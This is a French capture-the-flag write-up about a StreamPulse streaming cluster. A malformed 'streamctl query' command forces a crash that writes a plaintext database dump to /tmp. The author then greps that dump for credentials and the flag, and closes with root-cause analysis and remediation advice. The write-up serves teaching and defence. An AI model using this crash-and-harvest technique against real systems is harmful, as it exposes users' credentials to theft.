StreamPulse Broadcast Cluster — Fuite de credentials via snapshot de failover
Contexte
Console de maintenance d’un cluster de diffusion StreamPulse, accessible via un utilitaire streamctl. Trois services surveillés : un front-end web (127.0.0.1:8000), un daemon DB cluster (127.0.0.1:9999, streampulse-db) et l’outil de gestion streamctl. Objectif : récupérer des identifiants / le flag stocké en base.
Reconnaissance
La bannière de la console documente elle-même les commandes de diagnostic disponibles :
$ streamctl status (tester le noeud de base de données)
$ streamctl ping (mesurer la latence du cluster)
$ streamctl query <sql> (exécuter une requête sur la base)
$ streamctl crash (simuler un arrêt d'urgence / failover)Et surtout, un rappel laissé en clair dans la bannière :
Tout incident critique déclenche un snapshot de secours automatiquement consigné dans
/tmp/db_recovery_dump.sql.
C’est le pivot : l’application révèle à la fois le déclencheur (un incident critique) et la destination exacte (un fichier dans /tmp, par nature lisible).
La faille
Vérification du comportement nominal :
streamctl status → OK: StreamPulse DB Cluster Online
streamctl ping → PONGPuis déclenchement d’un incident critique. Une requête volontairement non gérée suffit — pas besoin de la commande crash dédiée :
streamctl query SELECT FROM USERS[FATAL] SQLite kernel panic: unhandled exception triggered!
[WATCHDOG] Emergency snapshot written to /tmp/db_recovery_dump.sqlLe watchdog a fait exactement ce que la bannière annonçait : il a écrit un dump complet de la base à un emplacement prévisible. Aucune authentification, aucun chiffrement, aucune restriction de permission sur le fichier produit.
Exploitation
Lecture ciblée du dump pour en extraire les éléments sensibles :
grep -i "gregoire\|password\|pass" /tmp/db_recovery_dump.sqlCREATE TABLE accounts (id INTEGER PRIMARY KEY, username TEXT, password TEXT,
email TEXT, role TEXT, stream_key TEXT);
INSERT INTO accounts VALUES (2, 'gregoire', '[REDACTED_PASSWORD]',
'[email protected]', 'partner_streamer', 'FLAG{[REDACTED]}');Le dump contenait la table accounts en clair : identifiants, mot de passe en clair (pas même haché) et clé de stream — cette dernière portant directement la valeur du flag.
Cause racine
- Un mécanisme de reprise sur incident (failover / snapshot de secours) écrit un dump intégral de la base en clair dans un répertoire temporaire mondialement accessible (
/tmp), à un nom de fichier prévisible et documenté. - Les mots de passe sont stockés en clair en base, donc présents tels quels dans le dump.
- Le déclenchement du snapshot n’exige aucun privilège : n’importe quelle requête malformée provoque la panique et donc la fuite. Un utilisateur sans droits particuliers peut forcer la création du fichier à volonté.
- Aucune restriction de permissions (
umask, propriétaire, mode) appliquée au fichier de dump généré.
Remédiation
- Ne jamais écrire de dump de base contenant des secrets dans un répertoire partagé comme
/tmp. Utiliser un emplacement dédié, en dehors du périmètre lisible par les utilisateurs, avec des permissions strictes (0600, propriétaire = compte de service). - Stocker les mots de passe hachés et salés (argon2id / bcrypt), jamais en clair — un dump compromis ne doit pas livrer de credentials exploitables.
- Un nom de fichier de dump prévisible facilite l’exploitation : au minimum, rendre le chemin non devinable ; mieux, ne pas persister le dump sur disque du tout.
- Ne pas exposer une commande de déclenchement de crash / failover à des utilisateurs non privilégiés, et ne pas laisser une requête malformée provoquer un dump complet.
Ce que j’ai appris
La faille la plus accessible du lot, et pourtant représentative : tout était écrit dans la bannière. Le réflexe utile n’est pas de “casser” le service, mais de lire ce que le système documente de son propre fonctionnement — ici, le couple déclencheur + chemin de dump. Les mécanismes de résilience (backup, failover, recovery) sont un angle mort classique : conçus pour préserver la donnée, ils finissent souvent par l’exposer dans un emplacement moins protégé que la base elle-même.